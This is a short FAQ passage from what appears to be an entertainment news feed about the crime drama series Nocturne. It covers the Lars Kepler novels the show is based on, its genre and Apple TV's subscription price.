What is Nocturne based on?



Nocturne is based on Lars Kepler’s crime novels Lazarus and The Sandman.



Is Nocturne a crime thriller?



Yes, Nocturne is a crime drama with a serial killer storyline, undercover investigation, and a tense detective-led plot.



Apple TV costs $12.99 per month in the US after a 7-day free trial. What do you plan to watch when Nocturne premieres? Let us know in the comments.]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 1,42ms -->